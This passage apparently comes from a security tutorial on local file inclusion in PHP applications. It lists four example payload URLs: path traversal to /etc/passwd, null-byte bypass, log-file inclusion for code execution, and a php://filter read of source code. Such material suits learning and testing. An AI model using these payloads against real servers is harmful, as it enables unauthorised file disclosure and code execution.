Exploitation¶
- Basic LFI Attack:
-
An attacker can manipulate the input to include files from the server. For example:
http://example.com/index.php?page=../../etc/passwd -
Null Byte Injection:
-
In some cases, appending a null byte (
%00) can bypass file extension checks:http://example.com/index.php?page=../../etc/passwd%00 -
Log File Inclusion:
-
If the application logs user input, an attacker can include log files to execute arbitrary code:
http://example.com/index.php?page=/var/log/apache2/access.log -
PHP Wrappers:
- Using PHP wrappers (e.g.,
php://filter) to read files:http://example.com/index.php?page=php://filter/read=convert.base64-encode/resource=index.php